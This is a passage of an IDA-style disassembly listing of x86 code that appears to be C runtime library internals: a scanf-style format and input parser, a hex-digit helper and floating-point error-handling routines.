cmp esi, 67h
jle short loc_42100E
cmp esi, 69h
jz short loc_420FF6
cmp esi, 6Eh
jnz loc_42123B
cmp [ebp+var_E], 0
mov edi, [ebp+var_4]
jz loc_4216F1
jmp loc_421717
; ---------------------------------------------------------------------------
loc_420FF6: ; CODE XREF: sub_420DB0+229j
push 64h
pop esi
loc_420FF9: ; CODE XREF: sub_420DB0+480j
mov ebx, [ebp+var_14]
cmp ebx, 2Dh
jnz loc_421283
mov [ebp+var_17], 1
jmp loc_421288
; ---------------------------------------------------------------------------
loc_42100E: ; CODE XREF: sub_420DB0+224j
mov ebx, [ebp+var_14]
lea esi, [ebp+var_1C4]
cmp ebx, 2Dh
jnz short loc_42102A
mov [ebp+var_1C4], bl
lea esi, [ebp+var_1C3]
jmp short loc_42102F
; ---------------------------------------------------------------------------
loc_42102A: ; CODE XREF: sub_420DB0+26Aj
cmp ebx, 2Bh
jnz short loc_421046
loc_42102F: ; CODE XREF: sub_420DB0+278j
mov edi, [ebp+arg_0]
dec [ebp+var_C]
inc [ebp+var_4]
push edi
call sub_42180C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_421049
; ---------------------------------------------------------------------------
loc_421046: ; CODE XREF: sub_420DB0+27Dj
mov edi, [ebp+arg_0]
loc_421049: ; CODE XREF: sub_420DB0+294j
cmp [ebp+var_20], 0
jz short loc_421058
cmp [ebp+var_C], 15Dh
jle short loc_42105F
loc_421058: ; CODE XREF: sub_420DB0+29Dj
mov [ebp+var_C], 15Dh
loc_42105F: ; CODE XREF: sub_420DB0+2A6j
; sub_420DB0+2F2j
cmp dword_43D084, 1
jle short loc_421074
push 4
push ebx
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_42107F
; ---------------------------------------------------------------------------
loc_421074: ; CODE XREF: sub_420DB0+2B6j
mov eax, off_43CE78
mov al, [eax+ebx*2]
and eax, 4
loc_42107F: ; CODE XREF: sub_420DB0+2C2j
test eax, eax
jz short loc_4210A4
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_4210A4
inc [ebp+var_1C]
mov [esi], bl
inc esi
inc [ebp+var_4]
push edi
call sub_42180C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_42105F
; ---------------------------------------------------------------------------
loc_4210A4: ; CODE XREF: sub_420DB0+2D1j
; sub_420DB0+2DBj
cmp byte_43D088, bl
jnz short loc_421112
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_421112
inc [ebp+var_4]
push edi
call sub_42180C
mov ebx, eax
mov al, byte_43D088
mov [esi], al
pop ecx
mov [ebp+var_14], ebx
inc esi
loc_4210CD: ; CODE XREF: sub_420DB0+360j
cmp dword_43D084, 1
jle short loc_4210E2
push 4
push ebx
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_4210ED
; ---------------------------------------------------------------------------
loc_4210E2: ; CODE XREF: sub_420DB0+324j
mov eax, off_43CE78
mov al, [eax+ebx*2]
and eax, 4
loc_4210ED: ; CODE XREF: sub_420DB0+330j
test eax, eax
jz short loc_421112
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_421112
inc [ebp+var_1C]
mov [esi], bl
inc esi
inc [ebp+var_4]
push edi
call sub_42180C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_4210CD
; ---------------------------------------------------------------------------
loc_421112: ; CODE XREF: sub_420DB0+2FAj
; sub_420DB0+304j ...
cmp [ebp+var_1C], 0
jz loc_4211AA
cmp ebx, 65h
jz short loc_42112A
cmp ebx, 45h
jnz loc_4211AA
loc_42112A: ; CODE XREF: sub_420DB0+36Fj
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_4211AA
mov byte ptr [esi], 65h
inc esi
inc [ebp+var_4]
push edi
call sub_42180C
mov ebx, eax
pop ecx
cmp ebx, 2Dh
mov [ebp+var_14], ebx
jnz short loc_421151
mov [esi], al
inc esi
jmp short loc_421156
; ---------------------------------------------------------------------------
loc_421151: ; CODE XREF: sub_420DB0+39Aj
cmp ebx, 2Bh
jnz short loc_421174
loc_421156: ; CODE XREF: sub_420DB0+39Fj
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jnz short loc_421165
and [ebp+var_C], eax
jmp short loc_421174
; ---------------------------------------------------------------------------
loc_421165: ; CODE XREF: sub_420DB0+3AEj
; sub_420DB0+3F8j
inc [ebp+var_4]
push edi
call sub_42180C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_421174: ; CODE XREF: sub_420DB0+3A4j
; sub_420DB0+3B3j
cmp dword_43D084, 1
jle short loc_421189
push 4
push ebx
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_421194
; ---------------------------------------------------------------------------
loc_421189: ; CODE XREF: sub_420DB0+3CBj
mov eax, off_43CE78
mov al, [eax+ebx*2]
and eax, 4
loc_421194: ; CODE XREF: sub_420DB0+3D7j
test eax, eax
jz short loc_4211AA
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_4211AA
inc [ebp+var_1C]
mov [esi], bl
inc esi
jmp short loc_421165
; ---------------------------------------------------------------------------
loc_4211AA: ; CODE XREF: sub_420DB0+366j
; sub_420DB0+374j ...
dec [ebp+var_4]
push edi
push ebx
call sub_421826
cmp [ebp+var_1C], 0
pop ecx
pop ecx
jz loc_4217B6
cmp [ebp+var_E], 0
jnz loc_421717
inc [ebp+var_34]
and byte ptr [esi], 0
lea eax, [ebp+var_1C4]
push eax
movsx eax, [ebp+var_D]
push [ebp+var_2C]
dec eax
push eax
call off_43D428
add esp, 0Ch
jmp loc_421717
; ---------------------------------------------------------------------------
loc_4211EE: ; CODE XREF: sub_420DB0+20Cj
cmp [ebp+var_20], eax
jnz short loc_4211FD
inc [ebp+var_C]
mov [ebp+var_20], 1
loc_4211FD: ; CODE XREF: sub_420DB0+441j
cmp [ebp+var_5], 0
jle short loc_421207
mov [ebp+var_16], 1
loc_421207: ; CODE XREF: sub_420DB0+451j
mov edi, offset dword_43D300
jmp loc_42131C
; ---------------------------------------------------------------------------
loc_421211: ; CODE XREF: sub_420DB0+1FDj
mov eax, esi
sub eax, 70h
jz loc_4214BF
sub eax, 3
jz loc_42130D
dec eax
dec eax
jz loc_4214C3
sub eax, 3
jz loc_420FF9
sub eax, 3
jz short loc_42125F
loc_42123B: ; CODE XREF: sub_420DB0+21Bj
; sub_420DB0+22Ej
movzx eax, byte ptr [ebx]
cmp eax, [ebp+var_14]
jnz loc_421786
dec [ebp+var_15]
cmp [ebp+var_E], 0
jnz loc_421717
mov eax, [ebp+var_44]
mov [ebp+arg_8], eax
jmp loc_421717
; ---------------------------------------------------------------------------
loc_42125F: ; CODE XREF: sub_420DB0+489j
cmp [ebp+var_5], 0
jle short loc_421269
mov [ebp+var_16], 1
loc_421269: ; CODE XREF: sub_420DB0+4B3j
mov edi, [ebp+arg_4]
inc edi
mov [ebp+arg_4], edi
cmp byte ptr [edi], 5Eh
jnz loc_421320
mov eax, edi
lea edi, [eax+1]
jmp loc_42131C
; ---------------------------------------------------------------------------
loc_421283: ; CODE XREF: sub_420DB0+24Fj
cmp ebx, 2Bh
jnz short loc_4212AA
loc_421288: ; CODE XREF: sub_420DB0+259j
dec [ebp+var_C]
jnz short loc_421299
cmp [ebp+var_20], 0
jz short loc_421299
mov [ebp+var_F], 1
jmp short loc_4212AA
; ---------------------------------------------------------------------------
loc_421299: ; CODE XREF: sub_420DB0+4DBj
; sub_420DB0+4E1j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_42180C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_4212AA: ; CODE XREF: sub_420DB0+4D6j
; sub_420DB0+4E7j
cmp ebx, 30h
jnz loc_4214F8
push [ebp+arg_0]
inc [ebp+var_4]
call sub_42180C
mov ebx, eax
pop ecx
cmp bl, 78h
mov [ebp+var_14], ebx
jz short loc_4212F8
cmp bl, 58h
jz short loc_4212F8
cmp esi, 78h
mov [ebp+var_1C], 1
jz short loc_4212E2
push 6Fh
loc_4212DC: ; CODE XREF: sub_420DB0+55Bj
pop esi
jmp loc_4214F8
; ---------------------------------------------------------------------------
loc_4212E2: ; CODE XREF: sub_420DB0+528j
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_421826
pop ecx
pop ecx
push 30h
pop ebx
jmp loc_4214F5
; ---------------------------------------------------------------------------
loc_4212F8: ; CODE XREF: sub_420DB0+517j
; sub_420DB0+51Cj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_42180C
pop ecx
mov ebx, eax
mov [ebp+var_14], ebx
push 78h
jmp short loc_4212DC
; ---------------------------------------------------------------------------
loc_42130D: ; CODE XREF: sub_420DB0+46Fj
cmp [ebp+var_5], 0
jle short loc_421317
mov [ebp+var_16], 1
loc_421317: ; CODE XREF: sub_420DB0+561j
mov edi, offset dword_43D2F8
loc_42131C: ; CODE XREF: sub_420DB0+45Cj
; sub_420DB0+4CEj
or [ebp+var_18], 0FFh
loc_421320: ; CODE XREF: sub_420DB0+4C3j
push 20h
lea eax, [ebp+var_64]
push 0
push eax
call sub_41BF70
add esp, 0Ch
cmp [ebp+var_3C], 7Bh
jnz short loc_421344
cmp byte ptr [edi], 5Dh
jnz short loc_421344
mov dl, 5Dh
inc edi
mov [ebp+var_59], 20h
jmp short loc_421347
; ---------------------------------------------------------------------------
loc_421344: ; CODE XREF: sub_420DB0+584j
; sub_420DB0+589j
mov dl, [ebp+var_35]
loc_421347: ; CODE XREF: sub_420DB0+592j
; sub_420DB0+5E1j ...
mov al, [edi]
cmp al, 5Dh
jz short loc_4213AC
inc edi
cmp al, 2Dh
jnz short loc_421393
test dl, dl
jz short loc_421393
mov cl, [edi]
cmp cl, 5Dh
jz short loc_421393
inc edi
cmp dl, cl
jnb short loc_421366
mov al, cl
jmp short loc_42136A
; ---------------------------------------------------------------------------
loc_421366: ; CODE XREF: sub_420DB0+5B0j
mov al, dl
mov dl, cl
loc_42136A: ; CODE XREF: sub_420DB0+5B4j
cmp dl, al
ja short loc_42138F
movzx edx, dl
movzx esi, al
sub esi, edx
inc esi
loc_421377: ; CODE XREF: sub_420DB0+5DDj
mov ecx, edx
mov eax, edx
and ecx, 7
mov bl, 1
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_64]
or [eax], bl
inc edx
dec esi
jnz short loc_421377
loc_42138F: ; CODE XREF: sub_420DB0+5BCj
xor dl, dl
jmp short loc_421347
; ---------------------------------------------------------------------------
loc_421393: ; CODE XREF: sub_420DB0+5A0j
; sub_420DB0+5A4j ...
movzx ecx, al
mov dl, al
mov eax, ecx
and ecx, 7
mov bl, 1
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_64]
or [eax], bl
jmp short loc_421347
; ---------------------------------------------------------------------------
loc_4213AC: ; CODE XREF: sub_420DB0+59Bj
cmp byte ptr [edi], 0
jz loc_4217B6
cmp [ebp+var_3C], 7Bh
jnz short loc_4213BE
mov [ebp+arg_4], edi
loc_4213BE: ; CODE XREF: sub_420DB0+609j
mov edi, [ebp+arg_0]
mov esi, [ebp+var_2C]
dec [ebp+var_4]
push edi
push [ebp+var_14]
mov [ebp+var_30], esi
call sub_421826
pop ecx
pop ecx
loc_4213D5: ; CODE XREF: sub_420DB0+6BCj
; sub_420DB0+6C4j
cmp [ebp+var_20], 0
jz short loc_4213E9
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz loc_421485
loc_4213E9: ; CODE XREF: sub_420DB0+629j
inc [ebp+var_4]
push edi
call sub_42180C
cmp eax, 0FFFFFFFFh
pop ecx
mov [ebp+var_14], eax
jz short loc_421479
mov ecx, eax
push 1
and ecx, 7
pop edx
movsx ebx, [ebp+var_18]
shl edx, cl
mov ecx, eax
sar ecx, 3
movsx ecx, [ebp+ecx+var_64]
xor ecx, ebx
test edx, ecx
jz short loc_421479
cmp [ebp+var_E], 0
jnz short loc_421471
cmp [ebp+var_16], 0
jz short loc_421466
mov ecx, off_43CE78
mov [ebp+var_38], al
movzx eax, al
test byte ptr [ecx+eax*2+1], 80h
jz short loc_421445
inc [ebp+var_4]
push edi
call sub_42180C
pop ecx
mov [ebp+var_37], al
loc_421445: ; CODE XREF: sub_420DB0+686j
push dword_43D084
lea eax, [ebp+var_38]
push eax
lea eax, [ebp+var_3E]
push eax
call sub_4246CB
mov ax, [ebp+var_3E]
add esp, 0Ch
mov [esi], ax
inc esi
inc esi
jmp short loc_421469
; ---------------------------------------------------------------------------
loc_421466: ; CODE XREF: sub_420DB0+673j
mov [esi], al
inc esi
loc_421469: ; CODE XREF: sub_420DB0+6B4j
mov [ebp+var_2C], esi
jmp loc_4213D5
; ---------------------------------------------------------------------------
loc_421471: ; CODE XREF: sub_420DB0+66Dj
inc [ebp+var_30]
jmp loc_4213D5
; ---------------------------------------------------------------------------
loc_421479: ; CODE XREF: sub_420DB0+649j
; sub_420DB0+667j
dec [ebp+var_4]
push edi
push eax
call sub_421826
pop ecx
pop ecx
loc_421485: ; CODE XREF: sub_420DB0+633j
cmp [ebp+var_30], esi
jz loc_4217B6
cmp [ebp+var_E], 0
jnz loc_421717
inc [ebp+var_34]
cmp [ebp+var_3C], 63h
jz loc_421717
cmp [ebp+var_16], 0
mov eax, [ebp+var_2C]
jz short loc_4214B7
and word ptr [eax], 0
jmp loc_421717
; ---------------------------------------------------------------------------
loc_4214B7: ; CODE XREF: sub_420DB0+6FCj
and byte ptr [eax], 0
jmp loc_421717
; ---------------------------------------------------------------------------
loc_4214BF: ; CODE XREF: sub_420DB0+466j
mov [ebp+var_D], 1
loc_4214C3: ; CODE XREF: sub_420DB0+203j
; sub_420DB0+215j ...
mov ebx, [ebp+var_14]
cmp ebx, 2Dh
jnz short loc_4214D1
mov [ebp+var_17], 1
jmp short loc_4214D6
; ---------------------------------------------------------------------------
loc_4214D1: ; CODE XREF: sub_420DB0+719j
cmp ebx, 2Bh
jnz short loc_4214F8
loc_4214D6: ; CODE XREF: sub_420DB0+71Fj
dec [ebp+var_C]
jnz short loc_4214E7
cmp [ebp+var_20], 0
jz short loc_4214E7
mov [ebp+var_F], 1
jmp short loc_4214F8
; ---------------------------------------------------------------------------
loc_4214E7: ; CODE XREF: sub_420DB0+729j
; sub_420DB0+72Fj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_42180C
pop ecx
mov ebx, eax
loc_4214F5: ; CODE XREF: sub_420DB0+543j
mov [ebp+var_14], ebx
loc_4214F8: ; CODE XREF: sub_420DB0+4FDj
; sub_420DB0+52Dj ...
cmp [ebp+var_30], 0
jz loc_421611
cmp [ebp+var_F], 0
jnz loc_4215EF
loc_42150C: ; CODE XREF: sub_420DB0+82Cj
cmp esi, 78h
jnz short loc_421560
cmp dword_43D084, 1
jle short loc_421529
push 80h
push ebx
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_421536
; ---------------------------------------------------------------------------
loc_421529: ; CODE XREF: sub_420DB0+768j
mov eax, off_43CE78
mov al, [eax+ebx*2]
and eax, 80h
loc_421536: ; CODE XREF: sub_420DB0+777j
test eax, eax
jz loc_4215E1
mov eax, [ebp+var_28]
mov edx, [ebp+var_24]
push 4
pop ecx
call sub_4247A0
push ebx
mov [ebp+var_28], eax
mov [ebp+var_24], edx
call sub_4217D5
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_4215B3
; ---------------------------------------------------------------------------
loc_421560: ; CODE XREF: sub_420DB0+75Fj
cmp dword_43D084, 1
jle short loc_421575
push 4
push ebx
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_421580
; ---------------------------------------------------------------------------
loc_421575: ; CODE XREF: sub_420DB0+7B7j
mov eax, off_43CE78
mov al, [eax+ebx*2]
and eax, 4
loc_421580: ; CODE XREF: sub_420DB0+7C3j
test eax, eax
jz short loc_4215E1
cmp esi, 6Fh
jnz short loc_42159E
cmp ebx, 38h
jge short loc_4215E1
mov eax, [ebp+var_28]
mov edx, [ebp+var_24]
push 3
pop ecx
call sub_4247A0
jmp short loc_4215AD
; ---------------------------------------------------------------------------
loc_42159E: ; CODE XREF: sub_420DB0+7D7j
push 0
push 0Ah
push [ebp+var_24]
push [ebp+var_28]
call sub_41DB20
loc_4215AD: ; CODE XREF: sub_420DB0+7ECj
mov [ebp+var_28], eax
mov [ebp+var_24], edx
loc_4215B3: ; CODE XREF: sub_420DB0+7AEj
inc [ebp+var_1C]
lea eax, [ebx-30h]
cdq
add [ebp+var_28], eax
adc [ebp+var_24], edx
cmp [ebp+var_20], 0
jz short loc_4215CB
dec [ebp+var_C]
jz short loc_4215EF
loc_4215CB: ; CODE XREF: sub_420DB0+814j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_42180C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp loc_42150C
; ---------------------------------------------------------------------------
loc_4215E1: ; CODE XREF: sub_420DB0+788j
; sub_420DB0+7D2j ...
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_421826
pop ecx
pop ecx
loc_4215EF: ; CODE XREF: sub_420DB0+756j
; sub_420DB0+819j
cmp [ebp+var_17], 0
jz loc_4216D5
mov eax, [ebp+var_28]
mov ecx, [ebp+var_24]
neg eax
adc ecx, 0
mov [ebp+var_28], eax
neg ecx
mov [ebp+var_24], ecx
jmp loc_4216D5
; ---------------------------------------------------------------------------
loc_421611: ; CODE XREF: sub_420DB0+74Cj
cmp [ebp+var_F], 0
jnz loc_4216CD
loc_42161B: ; CODE XREF: sub_420DB0+90Aj
cmp esi, 78h
jz short loc_42165F
cmp esi, 70h
jz short loc_42165F
cmp dword_43D084, 1
jle short loc_42163A
push 4
push ebx
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_421645
; ---------------------------------------------------------------------------
loc_42163A: ; CODE XREF: sub_420DB0+87Cj
mov eax, off_43CE78
mov al, [eax+ebx*2]
and eax, 4
loc_421645: ; CODE XREF: sub_420DB0+888j
test eax, eax
jz short loc_4216BF
cmp esi, 6Fh
jnz short loc_421658
cmp ebx, 38h
jge short loc_4216BF
shl edi, 3
jmp short loc_421697
; ---------------------------------------------------------------------------
loc_421658: ; CODE XREF: sub_420DB0+89Cj
lea edi, [edi+edi*4]
shl edi, 1
jmp short loc_421697
; ---------------------------------------------------------------------------
loc_42165F: ; CODE XREF: sub_420DB0+86Ej
; sub_420DB0+873j
cmp dword_43D084, 1
jle short loc_421677
push 80h
push ebx
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_421684
; ---------------------------------------------------------------------------
loc_421677: ; CODE XREF: sub_420DB0+8B6j
mov eax, off_43CE78
mov al, [eax+ebx*2]
and eax, 80h
loc_421684: ; CODE XREF: sub_420DB0+8C5j
test eax, eax
jz short loc_4216BF
push ebx
shl edi, 4
call sub_4217D5
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_421697: ; CODE XREF: sub_420DB0+8A6j
; sub_420DB0+8ADj
inc [ebp+var_1C]
cmp [ebp+var_20], 0
lea edi, [edi+ebx-30h]
jz short loc_4216A9
dec [ebp+var_C]
jz short loc_4216CD
loc_4216A9: ; CODE XREF: sub_420DB0+8F2j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_42180C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp loc_42161B
; ---------------------------------------------------------------------------
loc_4216BF: ; CODE XREF: sub_420DB0+897j
; sub_420DB0+8A1j ...
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_421826
pop ecx
pop ecx
loc_4216CD: ; CODE XREF: sub_420DB0+865j
; sub_420DB0+8F7j
cmp [ebp+var_17], 0
jz short loc_4216D5
neg edi
loc_4216D5: ; CODE XREF: sub_420DB0+843j
; sub_420DB0+85Cj ...
cmp esi, 46h
jnz short loc_4216DE
and [ebp+var_1C], 0
loc_4216DE: ; CODE XREF: sub_420DB0+928j
cmp [ebp+var_1C], 0
jz loc_4217B6
cmp [ebp+var_E], 0
jnz short loc_421717
inc [ebp+var_34]
loc_4216F1: ; CODE XREF: sub_420DB0+23Bj
cmp [ebp+var_30], 0
jz short loc_421707
mov eax, [ebp+var_2C]
mov ecx, [ebp+var_28]
mov [eax], ecx
mov ecx, [ebp+var_24]
mov [eax+4], ecx
jmp short loc_421717
; ---------------------------------------------------------------------------
loc_421707: ; CODE XREF: sub_420DB0+945j
cmp [ebp+var_D], 0
mov eax, [ebp+var_2C]
jz short loc_421714
mov [eax], edi
jmp short loc_421717
; ---------------------------------------------------------------------------
loc_421714: ; CODE XREF: sub_420DB0+95Ej
mov [eax], di
loc_421717: ; CODE XREF: sub_420DB0+241j
; sub_420DB0+414j ...
inc [ebp+var_15]
inc [ebp+arg_4]
mov esi, [ebp+arg_4]
jmp short loc_421764
; ---------------------------------------------------------------------------
loc_421722: ; CODE XREF: sub_420DB0+93j
inc [ebp+var_4]
push edi
call sub_42180C
mov ebx, eax
pop ecx
movzx eax, byte ptr [esi]
inc esi
cmp eax, ebx
mov [ebp+var_14], ebx
mov [ebp+arg_4], esi
jnz short loc_421791
mov ecx, off_43CE78
movzx eax, bl
test byte ptr [ecx+eax*2+1], 80h
jz short loc_421764
inc [ebp+var_4]
push edi
call sub_42180C
pop ecx
movzx ecx, byte ptr [esi]
inc esi
cmp ecx, eax
mov [ebp+arg_4], esi
jnz short loc_42179F
dec [ebp+var_4]
loc_421764: ; CODE XREF: sub_420DB0+970j
; sub_420DB0+99Aj
cmp [ebp+var_14], 0FFFFFFFFh
jnz short loc_42177A
cmp byte ptr [esi], 25h
jnz short loc_4217BC
mov eax, [ebp+arg_4]
cmp byte ptr [eax+1], 6Eh
jnz short loc_4217BC
mov esi, eax
loc_42177A: ; CODE XREF: sub_420DB0+9B8j
mov al, [esi]
test al, al
jnz loc_420DDA
jmp short loc_4217B6
; ---------------------------------------------------------------------------
loc_421786: ; CODE XREF: sub_420DB0+1F4j
; sub_420DB0+491j
push [ebp+arg_0]
dec [ebp+var_4]
push [ebp+var_14]
jmp short loc_421796
; ---------------------------------------------------------------------------
loc_421791: ; CODE XREF: sub_420DB0+98Aj
dec [ebp+var_4]
push edi
push ebx
loc_421796: ; CODE XREF: sub_420DB0+9DFj
call sub_421826
pop ecx
pop ecx
jmp short loc_4217B6
; ---------------------------------------------------------------------------
loc_42179F: ; CODE XREF: sub_420DB0+9AFj
dec [ebp+var_4]
push edi
push eax
call sub_421826
dec [ebp+var_4]
push edi
push ebx
call sub_421826
add esp, 10h
loc_4217B6: ; CODE XREF: sub_420DB0+1Fj
; sub_420DB0+40Aj ...
cmp [ebp+var_14], 0FFFFFFFFh
jnz short loc_4217CD
loc_4217BC: ; CODE XREF: sub_420DB0+9BDj
; sub_420DB0+9C6j
mov eax, [ebp+var_34]
test eax, eax
jnz short loc_4217D0
cmp [ebp+var_15], al
jnz short loc_4217D0
or eax, 0FFFFFFFFh
jmp short loc_4217D0
; ---------------------------------------------------------------------------
loc_4217CD: ; CODE XREF: sub_420DB0+A0Aj
mov eax, [ebp+var_34]
loc_4217D0: ; CODE XREF: sub_420DB0+A11j
; sub_420DB0+A16j ...
pop edi
pop esi
pop ebx
leave
retn
sub_420DB0 endp
; =============== S U B R O U T I N E =======================================
sub_4217D5 proc near ; CODE XREF: sub_420DB0+7A3p
; sub_420DB0+8DCp
arg_0 = dword ptr 4
cmp dword_43D084, 1
push esi
jle short loc_4217EF
mov esi, [esp+4+arg_0]
push 4
push esi
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_4217FE
; ---------------------------------------------------------------------------
loc_4217EF: ; CODE XREF: sub_4217D5+8j
mov esi, [esp+4+arg_0]
mov eax, off_43CE78
mov al, [eax+esi*2]
and eax, 4
loc_4217FE: ; CODE XREF: sub_4217D5+18j
test eax, eax
jnz short loc_421808
and esi, 0FFFFFFDFh
sub esi, 7
loc_421808: ; CODE XREF: sub_4217D5+2Bj
mov eax, esi
pop esi
retn
sub_4217D5 endp
; =============== S U B R O U T I N E =======================================
sub_42180C proc near ; CODE XREF: sub_420DB0+1E1p
; sub_420DB0+289p ...
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
dec dword ptr [edx+4]
js short loc_42181E
mov ecx, [edx]
movzx eax, byte ptr [ecx]
inc ecx
mov [edx], ecx
retn
; ---------------------------------------------------------------------------
loc_42181E: ; CODE XREF: sub_42180C+7j
push edx
call sub_41F8E3
pop ecx
retn
sub_42180C endp
; =============== S U B R O U T I N E =======================================
sub_421826 proc near ; CODE XREF: sub_420DB0+6Bp
; sub_420DB0+3FFp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0FFFFFFFFh
jz short locret_42183C
push [esp+arg_4]
push [esp+4+arg_0]
call sub_4247BF
pop ecx
pop ecx
locret_42183C: ; CODE XREF: sub_421826+5j
retn
sub_421826 endp
; =============== S U B R O U T I N E =======================================
sub_42183D proc near ; CODE XREF: sub_420DB0+63p
; sub_420DB0+1D3p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
push edi
loc_421843: ; CODE XREF: sub_42183D+1Dj
push [esp+8+arg_4]
inc dword ptr [esi]
call sub_42180C
mov edi, eax
push edi
call sub_41DF10
pop ecx
test eax, eax
pop ecx
jnz short loc_421843
mov eax, edi
pop edi
pop esi
retn
sub_42183D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __fastcall sub_421861(int,int,double,int)
sub_421861 proc near ; CODE XREF: sub_41D055+51p
; sub_41D19B+51p
var_1C = qword ptr -1Ch
var_14 = qword ptr -14h
var_C = qword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_C = dword ptr 14h
push ebp
mov ebp, esp
cmp dword_43D7F0, 0
jnz short loc_421896
push [ebp+arg_C] ; int
fld qword ptr [ebp+arg_4]
push ecx
push ecx ; double
fstp [esp+0Ch+var_C]
push ecx ; int
push ecx ; int
fldz
fstp [esp+14h+var_14]
fld qword ptr [ebp+arg_4]
push ecx ; int
push ecx ; int
fstp [esp+1Ch+var_1C]
push [ebp+arg_0] ; int
push 1 ; int
call sub_421E16
add esp, 24h
pop ebp
retn
; ---------------------------------------------------------------------------
loc_421896: ; CODE XREF: sub_421861+Aj
push 0FFFFh
mov dword_4DBDDC, 21h
push [ebp+arg_C]
call sub_422089
fld qword ptr [ebp+arg_4]
pop ecx
pop ecx
pop ebp
retn
sub_421861 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4218B4(int,int,double,double,int)
sub_4218B4 proc near ; CODE XREF: sub_41D055:loc_41D118p
; sub_41D19B:loc_41D25Ep
var_74 = qword ptr -74h
var_6C = qword ptr -6Ch
var_64 = qword ptr -64h
var_5C = dword ptr -5Ch
var_58 = byte ptr -58h
var_20 = dword ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = qword ptr 10h
arg_10 = qword ptr 18h
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 58h
push [ebp+arg_18]
lea eax, [ebp+arg_10]
push eax
push [ebp+arg_0]
call sub_421BFF
add esp, 0Ch
test eax, eax
jnz short loc_4218F2
lea eax, [ebp+arg_10]
and [ebp+var_20], 0FFFFFFFEh
push eax
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+arg_18]
push [ebp+arg_4]
push [ebp+arg_0]
push eax
lea eax, [ebp+var_58]
push eax
call sub_42194C
add esp, 18h
loc_4218F2: ; CODE XREF: sub_4218B4+1Aj
push [ebp+arg_0]
call sub_421EE9
cmp dword_43D7F0, 0
pop ecx
jnz short loc_421930
test eax, eax
jz short loc_421930
push [ebp+arg_18] ; int
fld [ebp+arg_10]
push ecx
push ecx ; double
fstp [esp+64h+var_64]
push ecx ; int
push ecx ; int
fldz
fstp [esp+6Ch+var_6C]
fld [ebp+arg_8]
push ecx ; int
push ecx ; int
fstp [esp+74h+var_74]
push [ebp+arg_4] ; int
push eax ; int
call sub_421E16
add esp, 24h
leave
retn
; ---------------------------------------------------------------------------
loc_421930: ; CODE XREF: sub_4218B4+4Ej
; sub_4218B4+52j
push eax
call sub_421E9E
mov [esp+5Ch+var_5C], 0FFFFh
push [ebp+arg_18]
call sub_422089
fld [ebp+arg_10]
pop ecx
pop ecx
leave
retn
sub_4218B4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42194C proc near ; CODE XREF: sub_4218B4+36p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
mov ecx, [ebp+arg_0]
xor eax, eax
push ebx
push esi
mov [ecx+4], eax
mov ecx, [ebp+arg_0]
push edi
push 1
mov [ecx+8], eax
mov ecx, [ebp+arg_0]
pop ebx
mov [ecx+0Ch], eax
mov cl, byte ptr [ebp+arg_8]
test cl, 10h
jz short loc_42197E
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C000008Fh
or [eax+4], ebx
loc_42197E: ; CODE XREF: sub_42194C+23j
test cl, 2
jz short loc_421991
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000093h
or dword ptr [eax+4], 2
loc_421991: ; CODE XREF: sub_42194C+35j
test cl, bl
jz short loc_4219A3
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000091h
or dword ptr [eax+4], 4
loc_4219A3: ; CODE XREF: sub_42194C+47j
test cl, 4
jz short loc_4219B6
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C000008Eh
or dword ptr [eax+4], 8
loc_4219B6: ; CODE XREF: sub_42194C+5Aj
test cl, 8
jz short loc_4219C9
